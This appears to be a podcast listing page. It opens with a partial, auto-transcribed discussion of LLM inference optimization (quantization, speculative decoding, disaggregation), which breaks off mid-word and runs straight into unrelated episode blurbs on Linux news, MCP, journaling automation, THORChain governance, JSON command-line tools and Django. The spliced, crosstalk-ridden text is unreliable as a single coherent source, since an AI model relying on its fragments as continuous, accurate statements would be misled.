consumer and I'm using like Amazon's endpoint for instance, and I've used Kimi and I'm like, “Oh my God, like this is bad,” I'm not gonna say, “Oh, Amazon quantized the model in a bad way.” I'm gonna say, “Oh, Kimi sucks.” Right?Philip [00:28:17]: Yeah.Ali [00:28:17]: So it seems like that makes sense.Philip [00:28:19]: Yeah, they care. They care.Vibhu [00:28:21]: Justifiably.Ali [00:28:21]: Yeah, justifiably.Vibhu [00:28:22]: This is probably a stupid question, but just checking, has anything improved from main quantization?Philip [00:28:28]: Yeah.Vibhu [00:28:28]: Like, is quantization always strictly worse?Ali [00:28:30]: Well technicallyVibhu [00:28:32]: NoAli [00:28:32]: It's a lossy. QuantizationPhilip [00:28:33]: YeahAli [00:28:33]: Is a lossy, it's a lossy implementation.Philip [00:28:36]: Speed improvesVibhu [00:28:36]: Speed improves.Ali [00:28:37]: It the number, likeVibhu [00:28:38]: No, I' always look for inverse scaling laws.Philip [00:28:40]: Yeah.Ali [00:28:40]: Yeah.Vibhu [00:28:40]: This is something I learned from Noam Brown, where like things that normally act in one direction sometimes do.Philip [00:28:45]: Well, technically when you run a benchmark, because these models are deterministic, sometimes your,Ali [00:28:52]: YeahPhilip [00:28:52]: NVFP4 quant is like, two basis points higher than yourAli [00:28:56]: No, it's noise. It's noise.Philip [00:28:57]: Yeah, exactly. I'm like, yeah, it's, it's within. That's why I always say within margin of error.Philip [00:29:01]: And I stopped saying that because everyone assumes that what is, well, within some margin of error, we're barely inside of that to the worst, so we're saying. But yeah, sometimes it's just like, gives you a higher output score. But like Ali said, that's noise. To my knowledge, you're not necessarily making the results better. You're just trying to, again, like keep your fidelity as close to 100% to the original model.Layer Selection, KL Divergence, and Better QuantizationAli [00:29:27]: There is, to your point, research that we did on MP. I don't know if you are able to pullPhilip [00:29:31]: YeahAli [00:29:32]: A tweet we did. One of our research interns, Joshua, I think it's a tweet on how we have 20% better quantized GLM-5.2 than NVIDIA. Essentially what we found throughout like this month research is, okay, quantization is a lossy. It's. You're compressing the data from, occupying 16 bits to occupying, four bits, for instance. And so you're losing some information, and you're trying to minimize that. And so when I say that I'm gonna quantize the model, my job becomes how do I find the layers that I can quantize, and how to find the layers to not. For instance, with image models, I don't quantize modulation layers, and I don't quantize out projections because those two are. Like out projection is what you see as the user. Modulation is what the model sees or understands. Right, exactly. And so to his paper, do you have the. It doesn't have the. Yeah. It's a long paper. I don't know if I can findVibhu [00:30:25]: If there's a part to search or it's probably in the thread.Ali [00:30:28]: It's probably in the thread.Vibhu [00:30:29]: Yeah.Ali [00:30:29]: But the long and the short is it is very possible that quantizing more of the model makes the results. Like if I have a model that I quantize layers one, five, and 10, and another model where I only quantize layers one and It is possible that the model in which I quantized more information is going to perform better because the quantization errors have canceled out. And so what Joshua showed in his mathematical proof where he had like a verifier in, is that you can predict which layers are going to have quantization errors that will cancel out with each other, and you choose to quantize those layers. And so the result of doing this mathematical quantization is you end up with a model that's 20% more quantized than another provider, so you get 20% more throughput of it because there's more layers than running an NVFP4, and your quality is better than that other quant because the layers that you chose to quantize have their errors cancel out, like one layer skewed to the right one layer skewed to the left, one layer skewed to the right. Your final logits distribution is more similar to the original distribution of the model, so you have better fidelity. And so the way we proved this was with KL divergence. So instead of just scoring on the benchmarks, we scored the KL divergence between the logit distribution of the quantized model and the logit distribution of the original full precision model, and we showed that with this technique we get. If your probability distribution on the logits which token it wants to select is more of the same as the original model, you're probably gonna end up staying true to the original model. So yeah, so it seems like previously before this, it seemed like the industry was, well, the more you quantize, the worse it's gonna be, ‘cause the more loss you introduce. That's not exactly, not necessarily true. So yeah, doesn't improve it, but can cancel out.Philip [00:31:57]: I think it might be this, but reminds me a good bit about pruning where you can prune off certain layers.Philip [00:32:03]: But very interesting. Didn't know this was a whole paper you guys put out.Ali [00:32:06]: It's. Fun fact, it was originally 72 pages, this paper, and then we decidedPhilip [00:32:11]: WowAli [00:32:11]: We can't tell. We couldn't release it. So it's now 45.Swyx [00:32:15]: Still 39 pages, so very substantive. We talked about evals and all these things and, like what's possible in terms of speedup? Like it's like probably like the numberInference Speedups and BenchmarkingSwyx [00:32:25]: Thing that people do wanna care about, and it's something that you wrote about in your post. Like official API is 70 tokens per second, and you push it up to 90. Is that like a normal thing?Philip [00:32:36]: So what's cool about working in inference, the reason that I think inference is going to be a useful place to do engineering for a long time, is that if you look at highly optimized domains like, say, finance, if you're in finance, you measure how much better you got in basis points. It's like, “Oh, I got five basis points better, like twentieth of 1% better,” that's huge news because everything is so optimized. When we publish optimizations, it's 20%, it's 100% it's 200%. So there's still probably like a lot further to go, honestly. Like you'll, you'll know that inference is pretty much solved when researchers start publishing about how they got 1% faster at something.Swyx [00:33:19]: Which by the way, because I am from the finance background, in the ‘70s, that was the margin at the time. When you did quantitative finance research, you would findAli [00:33:27]: And like 20%, tens of percent.Swyx [00:33:29]: That's. Yes.Philip [00:33:29]: Yeah.Swyx [00:33:30]: And now it'Philip [00:33:31]: Tiny fractionsSwyx [00:33:32]: For those people interested, look up Andrew Lo's paper. He had a really interesting illustration of quant, stat arb, distribution, narrowing down from like those kinds of 20% differences in the ‘70s, down to nothing today, which is very cool.Philip [00:33:48]: Exactly, and we're at the beginning of the same type of thing. Now benchmarking is hard. I think anyone will tell you that, and benchmarking provider speeds is hard because there's so many variables that go into it. What hardware are you using? How much load do you have on the system? What's the exact nature of the prompts and input and output sequence lengths? All that stuff. But overall, when you start stacking these improvements, you're looking at multiples. You can look at it. The most common form, of course, is TPS, tokens per second, which is bad naming by us in the industry, ‘cause there's two tokens per second. There's tokens per second, the throughput number, and the latency number.Ali [00:34:31]: TTMT, yeah.Philip [00:34:32]: Like total tokens per second out of the, out of the GPU as a throughput number. Most people only care about tokens per second as the latency number, which we should call ITL, intertoken latency, but we don't.Philip [00:34:44]: Anyway, so you can imagine a standard API without many optimizations for a 1 trillion parameter model operating somewhere in the 30 to 50 tokens per second range for reasonable traffic profile. And we generally see the goal of, pushing to 10X that. But, not necessarily day zero, but by stacking enough optimizations, if you have, say like four optimizations, each of which doubles performance. Or sorry, three optimizations, each of which doubles performance, then you stack that up, that's an 8X gain. That's the order of magnitude that we're working with in this space. We're trying to make things substantially faster, not just go from like 70 to 90.Swyx [00:35:38]: Are you saying you've. You have done that?Philip [00:35:40]: So let's say you have as a reasonable baseline, 30 or 40 tokens per second. You can achieve 10X that. So like on GLM-5.2, if you run it unquantized, perhaps on H100s even, and you're just using an off-the-shelf inference engine with no particular optimizations, no speculator, nothing extra around like KV routing, no disaggregation, you're, you're probably, yeah, looking at that like 30 to 40. You think that's like a reasonable baseline?Swyx [00:36:12]: Right. Right.Philip [00:36:12]: To get to something like 10X, there's a lot of trade-offs that you're making. If we're running at more like a 300, 400 tokens per second range, you are using the best hardware possible. You have a optimized speculator. You have done all of your quantization work. You are Seeing a pretty high cache hit rate. You are running with a reasonably small batch size and a parallelism configuration that is tuned for latency versus throughput, but it is possible. So the spreads that you see if you, like, go on artificial analysis or you go on OpenRouter and you look at, the worst provider to the best provider, oftentimes can hit that range. 10X is of course very aggressive. It's oftentimes maybe more of a four to six times improvement. But that's the performance that makes us really excited, is when we can get these huge gains, not just go from 70 to 90 tokens.Stacking Optimizations: NVFP4, Speculation, and DisaggregationAli [00:37:19]: It's also, like, hardware dependent. Like, ifPhilip [00:37:20]: YeahAli [00:37:20]: If you have a thing where you're serving it on just, like, a node of H100s and then you throw, like, you shard the model across, like, four nodes of B200s. Like, you can definitely increase the speed with just throwing more hardware at it. Like, normalizing for the same exact hardware and the same number of GPUs.Philip [00:37:35]: Yeah. Then you're looking at, like, a two to 4X improvementAli [00:37:38]: Right. RightPhilip [00:37:38]: Depending on the inference optimizations. So yeah, it's. Some of it's, what's the call, and some of it's who's the driver.Vibhu [00:37:46]: If you break down the two to 4X, say the example is run GLM-5.2Ali [00:37:51]: YeahVibhu [00:37:51]: On B200sAli [00:37:53]: YeahVibhu [00:37:53]: Single node, right? What's, like, the cost trade-off for effort to get, like, the last bit of juice out versus what should people just think of, right?Ali [00:38:01]: Spectre quantization. Yeah.Vibhu [00:38:03]: Spectre quantization.Ali [00:38:04]: That's, that's, that's like 95%. LikeVibhu [00:38:06]: And how far does that get you? And how easy is that for the average person to do? So say right I wanna throw the weights of GLM-5.2 on a node of B200s, how easy is it to find speculative decoder- decoder model or already quantized model? How much work goes into it?Philip [00:38:23]: If you're doing it up front, it's quite a lot of work. If you're doing it today, there's going to be people who have published things that you can just, you can just grab some NVFP4 weights. You can grab a speculator. Yeah, if we're thinking about, like, what are the 2Xs we're stacking, going from, BF16 to NVFP4 is, it's not quite a 2X, right? It's like. I think it's about, like, 30 to 40%, from 16 to 8, and then another 30 to 40% multiplied from, 8 to 4. So that doesn't quite get you a 2X, but, like, roughly a 2X. Speculator, roughly a 2X. Disagg on top of that if you're able to get enough hardware and put enough traffic through it, another roughly a 2X. And then you add in some, double-digit percent increase from having just a better runtime with, the latest kernels and stuff behind it. And that's how it stacks up.Ali [00:39:21]: YeahPhilip [00:39:21]: So building each of those, like, building the, quantized weights is, for someone who really knows what they're doing, hours to days of work. Building the speculator, again, like, hours to days of work. And the, disagg setup, hours to days. Well okay, but like once you haveAli [00:39:39]: Once set up. Once set up. YeahPhilip [00:39:40]: Yeah, getting disagg working for the first time, I'm saying, of course, is very difficult.Philip [00:39:44]: The marginal implementationAli [00:39:48]: Like, if you're just grabbing, like if you are a person, like just a normal consumer who has access to, like, a node of B200s and you're wondering, “How can I just host it myself?” You don't need to quantize the model yourself. There's always gonna be, like, an open source quantized checkpoint. NVIDIA's gonna push one out if no one else does. You. Usually, the providers will have their own spec dec that they've trained as well. You don't need to train your own spec dec. You can just use that as well.Philip [00:40:09]: Yeah. Like, GLM-5.2 has its own MTP.Ali [00:40:13]: Right. Right.Vibhu [00:40:14]: What's multi token prediction?Philip [00:40:15]: Yes.Ali [00:40:16]: I'm justVibhu [00:40:16]: Can you explain that?Ali [00:40:16]: I'm just an expert.Ali [00:40:18]: I can do it for you in case I get it wrong?Vibhu [00:40:20]: No.Vibhu [00:40:21]: Yeah, you should correct if we're wrong, but their multi-token prediction can be used for self-speculative decoding.Ali [00:40:27]: I'm not sure. I'm not gonna correct that.Vibhu [00:40:28]: Okay. I'm semi-confident in thatAli [00:40:30]: Okay. YeahVibhu [00:40:30]: But someone can check. But it's useful to paint the story of, okay, not just the average person, but say a company wants to switch from serverless inference I wanna throw this up on. I wanna rent some GPUs, throw it up. These are the steps you take to do significantly faster than just put it behind vLLM.Ali [00:40:48]: Right.Vibhu [00:40:49]: I was waiting for a mention of Dynamo.Vibhu [00:40:51]: I feel like, that's supposed to be the baseline that you measure against.Dynamo, KV Routing, and Disaggregation ToolkitsPhilip [00:40:55]: I would think of Dynamo as less of a box system and more of a toolkit for building with. So when we talk about doing aware routing, when we talk about doing KV offloading, when we talk about doing, PD disaggregation, Dynamo fundamentally is. By the way, Dynamo is an open source library from NVIDIA.Ali [00:41:17]: We've done a pod with KylePhilip [00:41:18]: OkayAli [00:41:19]: Kyle Cranin.Philip [00:41:19]: Cool. So then your listeners know then that it supports all the different inference frameworks. And it is multi hardware, which is interesting.Ali [00:41:28]: But it's just a router, it's not like an optimizer layer.Philip [00:41:30]: Yeah. All it does, like, what Dynamo is good at, it is a library for moving information around your cluster, around your hardware. So if you have, KV cache on one place and you need it to be somewhere else, Dynamo coordinates NIXL for you to move that around.Philip [00:41:49]: That doesn't mean that, like, out of the box, you just say, “Pip install Dynamo,” and then you get, like, a massive performance speed up. It's more of a developer toolkit.Ali [00:42:01]: Yeah. I would have said it would. It comes with a set of defaults that you can then swap out.Philip [00:42:06]: It does. If the industry at large, I think, was, like, rolling out all of these deployments, standard, then I think it would be, like, a credible baseline. But, we've got to, we've got to benchmark against, like, what we're seeing in the wild.Speculative Decoding Methods: Medusa, EAGLE, n-Gram, and Spec-SpecVibhu [00:42:23]: I did wanna talk a little bit more about PD disagg, because that is probably, like, number three after quantized and speculative decoding. In your book though, I was just gonna pull out the book.Philip [00:42:31]: Yeah.Vibhu [00:42:32]: Like section 522 on Medusa, 523 on EAGLEPhilip [00:42:35]: YeahVibhu [00:42:36]: 524 on gram.Philip [00:42:37]: It's 55, would be disaggregationAli [00:42:42]: Yeah. Well, no, I just wanted to dwell a little bitPhilip [00:42:44]: YeahAli [00:42:44]: The other. Like, so what do you choose to include? What do you choose to not to include? Because there was all these other techniques.Philip [00:42:51]: Yeah.Ali [00:42:51]: Are these still relevant? Because I think they came out, like, a year and a half ago maybe.Vibhu [00:42:55]: Medusa is quite old.Philip [00:42:56]: Yeah, Medusa's old.Ali [00:42:58]: It was old.Vibhu [00:42:58]: But is it in the book as a good, here'sPhilip [00:43:01]: BaselineVibhu [00:43:01]: Baseline vanilla understand it?Philip [00:43:02]: Like you should know this.Vibhu [00:43:03]: Like I read the paper, I'm like, “ it makes so much sense.”Philip [00:43:05]: Yeah.Philip [00:43:05]: So with the book, I had a couple goals. One was to give people just a working vocabulary for the space as a whole, and the other was to give them some intuition about how each of these techniques works. As I mentioned in my AI Engineer talk, which is the first public addendum to this, the speculation space has moved much faster than everything else. So yeah, even at the time that I wrote the book Medusa, I very much included as a way for people to understand how the space evolved rather than what the most modern technique is. And now of course, there's DFlash, dSpark. There's, there's newer techniques even than EAGLE, although EAGLE is still very commonly used.Ali [00:43:51]: SpecSpecta.Philip [00:43:52]: Yes. Speculative decoding.Vibhu [00:43:54]: What canAli [00:43:56]: Oh, it's a paper by Tri Dao and it's like, it's doing speculative decodingVibhu [00:44:00]: HuhAli [00:44:01]: For the speculative decoder.Philip [00:44:02]: Oh, in spec- oh my God.Ali [00:44:02]: It's literally just an another. It's like, yeah, that's the most simple way to explain it, and it seems like he got trivial speed ups there. But it seems that the complexity with training, it's almost like in our mind at least, it's almost as complex as training GANs. Like it's like a very delicate balance and oftentimes you, it's just but yeah, it's literally speculative decoding on speculative decoding.Vibhu [00:44:21]: Speculative.Ali [00:44:22]: Yeah. We saw this paper.Vibhu [00:44:24]: It's interesting, right?Ali [00:44:24]: Yeah.Vibhu [00:44:24]: I wouldn't even expect it to be very particular to train, I wouldAli [00:44:29]: Right.Vibhu [00:44:29]: The naive part of me is like, okay, train speculative decoder.Ali [00:44:32]: But like, and it makes sense, like the whole idea of speculative decoding is you. It's like, it's like almost like the iPhone auto predict version but for a normal model, right? Like you're just, you're just, generating three tokens and you're like, okay, I'll do prefill on them. And so you save those three turns for your original model. Now your speculative decoder is doing three turns of auto regression, so why not just have an even smaller model?Ali [00:44:53]: The other question there is what are the size of speculators? So say forPhilip [00:44:58]: Right. It's like a billion parameters.Ali [00:45:01]: Like for MiniMax, it's. Yeah. It's like one layer. It's like one 60th of the original model usually.Philip [00:45:06]: Yeah. I think we should do a paper when we get back to the office.Philip [00:45:10]: SpeculativeAli [00:45:11]: SpeculativePhilip [00:45:11]: Decoding.Ali [00:45:13]: No, it's, it does seem like how, when do you stop? But then it also seems like if you're able to train spec-spec decode for instance, right? Like if you're able to have a small model that is accurately predicts what the intermediate speculator is gonna predict, that is able to predict what the original target model's gonna predict, then why not just use that smallest model directly, right?Vibhu [00:45:34]: Yeah. This isAli [00:45:35]: Like it seems likeVibhu [00:45:35]: Adjacent to the routing problem.Ali [00:45:36]: Right.Vibhu [00:45:36]: Yeah.Ali [00:45:36]: Right.Philip [00:45:37]: The thing with speculators is one of the practical constraints on using them is that you do have to run a small model on the same hardware that you're running the big model on. There is a orchestration and resource competition problem inherent in that, and that is one of the constraints on speculation in general, is that draft tokens cost resources to create and cost software complexity to manage. And so if you have like infinitely recursive speculators, you add in quite a bit of that complexity on the actual implementation within the inference engine as well, not just in the training process.Vibhu [00:46:17]: I was gonna say, I would wonder if you could do similar, like distillation and pruning of, it's the same thing, it's just a model. Can we not just distill a lot of the weights, quantize the speculator, out of my domain? The question that also comes up is, this is all for big server workloads, right? How much of this applies to, say I have this MacBook, I wanna run Gemma really efficiently. Similar problems, not the same?Local AI vs. Data Center InferencePhilip [00:46:45]: Pretty different. I talked to Selo, about this on his podcast a couple weeks ago. The difference between inference engineering for the data center and for production workloads versus inference engineering for local AI, is that we start with fundamentally like different constraints and different goals. With local AI, it's how do I fit this model onto my hardware and then make it less dumb? And with data center influence, it's how do I load this model and then make it less slow? And we care about less dumb, and they care about less slow. But the local AI inference engineering ecosystem, I think has a lot for us to learn from in the data center space. They are experts in various forms of quantization, including dynamic quantization that we just don't touch, in the pruning, in the distillation, in the, layer removal. There'Ali [00:47:42]: Layer removal matters less.Philip [00:47:43]: Yeah. There'Ali [00:47:44]: No one loves pruning really.Philip [00:47:45]: Yeah. Well, but the, but they doVibhu [00:47:46]: Which is surprising, right? But that's, that's a whole different thingPhilip [00:47:48]: Just to fit something on the laptop.Ali [00:47:50]: Right.Philip [00:47:50]: So yeah, it's a, it's an interesting, it's an interesting space. Not necessarily that like their techniques make sense for us to do in the data center, because we have different resources and different goals, but more that the process as well as the openness of that field is something to, admire.Ali [00:48:12]: Yeah. Like to your point, like, certain optimizations that would. Like for instance, Turbo Quantum Sharper, like it made such huge hype on that and we did like a whole deep dive on Twitter and like said, what is it? How does it work? Why is it good or not? And it took off and it was implemented on local devices because your memory bandwidth is so slow on like a MacBook, for instance. But try putting the same thing on like an NVIDIA GPU on a B200 Turbo quant would not be. Like, it would not be used. Like, NVIDIA - Like, NVIDIA made it clear that this is not a good optimization, and we've seen it firsthand where the overhead of doing dequantization, quantization of, in the kernel itself with turbo quant kernel, each end is much slower than the time that you save from doing the bandwidth. ‘Cause on the B200s, you have like 3.5 terabytes per second. You don't need decrease the storage that much. You don't need to do, FP4 KV cache. You don't need to use a requant. There's, there's, there's better optimizations to be made. But on Edge devices, it's extremely important, it's extremely useful. So, seems to be, like, different optimizations there, but then they're all uniquely combined with like all you wanna quantize the model, you wanna do speculative decoding, like certain common prefixes with bothPhilip [00:49:18]: Principles.Ali [00:49:19]: Yeah, exactly. Exactly. Exactly.Philip [00:49:20]: They also do a lot of work on, model parallelism, especially over, heterogeneous topology, where you have, some sparks and they are wired together with, Ethernet, DGX sparks.Ali [00:49:35]: Yeah, this is the Exo Labs guys.Philip [00:49:36]: Yeah. You have, a nu
Every once in awhile we release a new video free for all to see, and today is that day! Please enjoy, and if you find this interesting you may want to consider becoming a member: https://www.pointfree.co/pricing. --- We explore how encoding data to JSON does not hinder our ability to query it from SQLite's powerful tools. We can filter, sort, and even _section_ results by location data stored as JSON in a table column, and all with type safe and schema safe guarantees at compile time.
This week, the guys are talking about a duress-wipe phone case that's landed someone federal charges, GCC's new policy on AI-generated code, and yet another AUR malware wave that's got Arch disabling package adoptions entirely. There's a from-scratch Rust rewrite of the X server called YServer, ShadowFetch Linux brings local AI to the desktop, Nouveau is enabling atomic mode setting by default, and GOG is finally building an official Linux client. For tips, we have DNS Globe for watching DNS propagation, the bash builtin complete for custom tab-autocompletion, uv for fast Python environment and package management, and Miller for slicing and converting CSV, TSV, and JSON data. You can view the show notes at http://bit.ly/4vZejHf, and have a great week! Host: Jonathan Bennett Co-Hosts: Jeff Massie, Rob Campbell, and Ken McDonald Download or subscribe to Untitled Linux Show at https://twit.tv/shows/untitled-linux-show Join Club TWiT for Ad-Free Podcasts! Support what you love and get ad-free audio and video feeds, a members-only Discord, and exclusive content. Join today: https://twit.tv/clubtwit Club TWiT members can discuss this episode and leave feedback in the Club TWiT Discord.
This week, the guys are talking about a duress-wipe phone case that's landed someone federal charges, GCC's new policy on AI-generated code, and yet another AUR malware wave that's got Arch disabling package adoptions entirely. There's a from-scratch Rust rewrite of the X server called YServer, ShadowFetch Linux brings local AI to the desktop, Nouveau is enabling atomic mode setting by default, and GOG is finally building an official Linux client. For tips, we have DNS Globe for watching DNS propagation, the bash builtin complete for custom tab-autocompletion, uv for fast Python environment and package management, and Miller for slicing and converting CSV, TSV, and JSON data. You can view the show notes at http://bit.ly/4vZejHf, and have a great week! Host: Jonathan Bennett Co-Hosts: Jeff Massie, Rob Campbell, and Ken McDonald Download or subscribe to Untitled Linux Show at https://twit.tv/shows/untitled-linux-show Join Club TWiT for Ad-Free Podcasts! Support what you love and get ad-free audio and video feeds, a members-only Discord, and exclusive content. Join today: https://twit.tv/clubtwit Club TWiT members can discuss this episode and leave feedback in the Club TWiT Discord. Sponsor: bitwarden.com/twit
Addy and Joey recap SIGGRAPH — covering EVRN's image-to-3D tool, ComfyCode.ai's metadata-driven JSON prompting, and Beeble's SwitchX 2.0 push toward pro-grade outputs. Neill Blomkamp releases a fully AI-generated short film, Flux 3 enters the video mod...
David Soria Parra is an Engineering Lead at Anthropic and one of the core maintainers of the Model Context Protocol (MCP). We explore the biggest evolution of the protocol since its launch, and why MCP is becoming the foundation for the next generation of AI agents.We discuss why MCP is moving toward stateless communication, what developers misunderstand about state, sessions, and transport layers, and how lessons from real-world deployments at massive scale have shaped the protocol's future. We also dive into MCP v2, SDK migrations, protocol design, extension architecture, governance, developer experience, and how Anthropic thinks about balancing simplicity with long-term flexibility.Along the way, we explore progressive disclosure, tool search, programmatic tool calling, context bloat, forward compatibility, long-running AI tasks, protocol evolution, open-source governance, observability, and why the future of AI infrastructure will depend on designing protocols that can evolve without breaking the ecosystem.Timestamps:[00:00] Introduction[01:59] Why MCP Had to Become Stateless[04:28] The Tradeoffs of Stateless Design[06:13] What We Learned About Agent State[08:04] Sessions, Models & Implicit State[09:33] Migrating to MCP v2[12:19] Lessons from HTTP & Open Source Standards[18:16] Shipping Fast Without Breaking Everything[20:35] The Future Complexity of MCP[22:44] Core Features vs Extensions[26:47] Progressive Disclosure Explained[28:16] Solving Context Bloat[30:50] Why Tool Search Beats Progressive Disclosure[32:10] The Biggest MCP Anti-Pattern[34:25] Designing for Forward Compatibility[38:41] Why "Tasks" Matter[40:53] JSON, Tokens & Better Tool Calling[44:44] Observability & Tracing AI Agents[47:34] Will MCP Ever Be Finished?[50:22] What's Next for MCP
In MobileViews 620, Jon Westfall recorded a special solo "vidcast,"(since I was not available for recording a podcast this week) recording a walk-and-talk along an historic railroad trail in Cleveland, Mississippi. Filming entirely on his Insta360 Luna Ultra with a neck mount and the creator pack microphone, Jon used the scenic Sunday walk to share his recent deep dive into data sovereignty and the process of building his own local alternatives to popular subscription apps. The core of Jon's summer project was migrating away from the Day One journaling app to avoid its $25 yearly fee and proprietary cloud storage. Using ChatGPT and Codex, he generated scripts to convert his Day One JSON export into future-proof Markdown files managed within an Obsidian vault. He then successfully replicated Day One's best features, using Apple Shortcuts and Python to ingest text snippets, process daily photos, perform offline audio transcriptions, and even selectively transcode video files larger than 25MB down to mobile-friendly sizes. Expanding his DIY software suite, Jon also automated his personal relationship management and location tracking. He built a script that "interviews" him weekly to automatically update his self-hosted Monica CRM and Obsidian vault with details about his interactions with family and friends. Furthermore, to reclaim his travel history after Google restricted the web version of Google Maps Timeline, Jon coded a tool to parse his device's local JSON location data into detailed, daily Markdown travel logs. With his self-hosted documentation ecosystem fully functional, Jon is taking it on the road for late-summer travel and will return to the podcast in mid-August.
A JSON bug is about to rock the Java world, scam compounds continue in Myanmar despite the junta crackdown, and Google has a new APT naming scheme. Show notes Risky Bulletin: A JSON RCE bug is about to rock the Java world
In this episode, we break down two governance proposals currently up for vote (ADR 29 and ADR 31), dive into revenue sharing and dynamic fees, and cover the latest updates across several upcoming chains.Swap now https://swap.thorchain.org/ THORChain is a decentralized crypto exchange. THORChain is the first and biggest DEX for Bitcoin. You can use any self custody wallet to swap and there's no KYC required.Timestamps:00:00:00 Intro00:03:00 Miradex shoutout00:05:00 Marketing update00:09:00 XMR publication strategy00:10:00 Chad met someone with close ties to Trezor00:11:00 Robinhood made its platform available for AI agents00:12:00 AI compatibility with STO00:13:00 Chad B talks about the conference00:14:00 Chad B has someone who wants to meet Kenton for a documentary00:17:00 THORDex.io may be a scam — be careful00:19:00 THORWallet won a patent case over the THORChain brand00:21:00 ADR 29 discussion (revenue sharing)00:22:00 Some integrators prefer revenue sharing over affiliate fees00:25:00 SwapKit revenue sharing looks promising and could drive more volume00:27:00 More integration tools will make Randy's BD role easier00:28:00 44 new partners want widget/API access00:31:00 Analytics tab is ready for integrators to track generated revenue00:33:00 Why API access is whitelisted00:34:00 Integrators can run their own infrastructure instead of using the API00:35:00 ADR 31 discussion00:36:00 Formalizing the relationship helps integrators build a roadmap00:37:00 Kenton explains why he changed his opinion on the app layer since ADR 2000:39:00 Permissioned access is more secure00:40:00 Merger discussion00:43:00 Why merging would be complicated00:45:00 The power of collaboration00:54:00 When will the protocol return to normal?00:55:00 XMR update — lots of edge cases and fixes00:56:00 When is Zcash coming?00:57:00 Once churn is working, Zcash can be added00:58:00 Bittensor (TAO) update01:00:00 Dynamic fee update — Symbiosis was disabled due to a bug01:02:00 Screen share of Rayyk's affiliate page01:04:00 90% of generated fees came from revenue sharing — huge volume increase01:06:00 THORChain is performing much better with dynamic fees01:07:00 Promising initial data01:09:00 THORChain vs. Chainflip pool price comparison01:11:00 App Layer design to improve price execution01:14:00 Great job, Chad!01:18:00 Signal vs. noise considerations with revenue sharing01:20:00 SwapKit partnership could be much more effective01:23:00 It will also drive more volume for SwapKit01:27:00 Start simple and keep the variables limited01:29:00 Deepen the Tron.USDT pool? (POL?)01:31:00 How have Rapid Swaps been performing? Are we ready for version 3?01:37:00 Devel's proposal and its synergy with dynamic fees01:39:00 MEV concerns01:43:00 A tip mechanism may address MEV concerns01:49:00 Let's finish our current ADRs01:52:00 Maximum effective bond — increase to 2 million?01:54:00 Multi-node operators vs. single-node operators with a single vault01:57:00 When can integrators expect revenue sharing?02:00:00 Revenue sharing presents a lot of opportunity02:04:00 AI agents and revenue sharing02:06:00 Separate STO API interface for AI agents using JSON
¿Todavía usando awk para extraer información de ps aux o df? En 2026 hay herramientas mucho mejores. En este episodio te presento tres herramientas que forman un tridente imbatible para trabajar con información del sistema en formato JSON: jc, jq y gron.jc es un conversor de comandos Linux a JSON. Se instala con pip y un simple pipe convierte la salida de ps, df, free, ss, systemctl, lsblk y hasta 60 comandos más en JSON estructurado. Olvídate de awk y de los scripts frágiles que se rompen cuando cambia el orden de las columnas. Con jc, el JSON no depende del formato de salida. Tiene parsers específicos para cada comando, incluyendo crontab, last, lsof, pip list, lsmod, date y más. Si no encuentra el parser que necesitas, puedes crear el tuyo. Está escrito en Python y tiene licencia MIT.jq es la navaja suiza de los JSON. Te permite filtrar, ordenar, agrupar, seleccionar y transformar cualquier JSON con una sintaxis potente. Está escrito en Go y es maduro, estable y rapidísimo. Combinado con jc, puedes listar los procesos que más RAM consumen, los discos por encima del 80% de ocupación o los servicios que han fallado, todo en una sola línea. Si la sintaxis te parece liosa, puedes pedirle a cualquier modelo de lenguaje que te genere la expresión que necesitas.gron es el menos conocido pero igual de útil. Aplana un JSON convirtiendo cada valor en una línea independiente con su ruta completa. ¿Para qué sirve? Para poder usar grep directamente sobre un JSON. Si alguna vez has hecho un curl a una API y has intentado hacer grep sobre el resultado, sabes que no funciona porque todo está en una línea. Con gron, cada valor tiene su propia línea y puedes buscar con grep. Además permite la operación inversa con --ungron: modificas el JSON aplanado con sed y lo reconstruyes.En el episodio presento sysreport.py, un script en Python que junta toda la información del sistema en un solo JSON usando jc y luego te permite hacer preguntas en lenguaje natural usando Llama 3.2 con Ollama. Le preguntas qué procesos consumen más RAM, qué servicios están caídos o si hay algún disco lleno, y él te responde en lenguaje natural. Todo corriendo en local, sin gastar un euro en APIs.El script se puede usar como API local, se combina con watch para monitorización en tiempo real y con notify-send para notificaciones en el escritorio. Además se integra directamente con el nightly-runner del episodio 815 para incluir el estado del sistema en el resumen matutino.Capítulos:0:00 - Introducción: el problema de la salida en texto plano2:30 - jc: convierte comandos Linux a JSON5:00 - jq: la navaja suiza de los JSON8:00 - gron: haz greppable cualquier JSON10:30 - Combinando jc y jq para consultas del sistema13:00 - sysreport.py: el script que lo junta todo16:00 - Preguntando al sistema en lenguaje natural19:00 - Monitorización con watch y notificaciones21:00 - Ventajas: local, sin coste y sin dependencias23:00 - Cierre: el tridente JSONMás información y enlaces en las notas del episodio
Topics covered in this episode: django-orjson Best Django Redis configuration for speed and size Linus Torvalds puts the foot down against Anti-AI Kernel Maintainers Django Steering Council backs the Triptych Project Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Consulting from Six Feet Up Connect with the hosts Michael: Mastodon / BlueSky / X / LinkedIn Calvin: Mastodon / BlueSky / X / LinkedIn Show: Mastodon / BlueSky / X Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Tuesday at 7am PT. Older video versions available there too. Michael #1: django-orjson Adam Johnson dropped django-orjson - drop-in replacements for the Django and DRF pieces that touch JSON, swapping stdlib json for orjson, the Rust-based library. Headline numbers: 10x faster serialization, 2x faster deserialization. The interesting question is why this needs to be a package at all. pip install orjson is the easy part. Adam's actual pitch: adopting it "isn't easy, especially when your framework uses json in many different parts." Django scatters JSON across JsonResponse, the test client and test case classes, the json_script template tag, and more. There's no single hook to grab, so you get a library that catches them all. Adam is refreshingly honest about the scale of the win. His words: "While database queries tend to dominate the typical Django application's runtime, the time spent in serialization and deserialization can still be significant." He calls it "a nearly free performance win" - not "this will 10x your app." That's a claim about cost, not magnitude, and it's worth keeping those straight. Worth flagging what the post doesn't cover: caveats. There are none in the article, but orjson has real ones. Django and Flask both render datetimes as RFC 822 HTTP-date (Wed, 15 Jul 2026 12:00:00 GMT); orjson does ISO 8601. It can't do ensure_ascii, it rejects NaN and Infinity (which stdlib happily emits), and it raises on Decimal. If you've got a JS client parsing dates, that's a wire-format change. Who should actually take this? If you're a DRF shop shoveling JSON all day, yes - it's cheap and it's real. If your app mostly renders HTML templates, you're optimizing a slice of runtime that's already near zero. The problem Adam's package solves doesn't exist in Flask or Quart. They already centralize every JSON operation - jsonify, 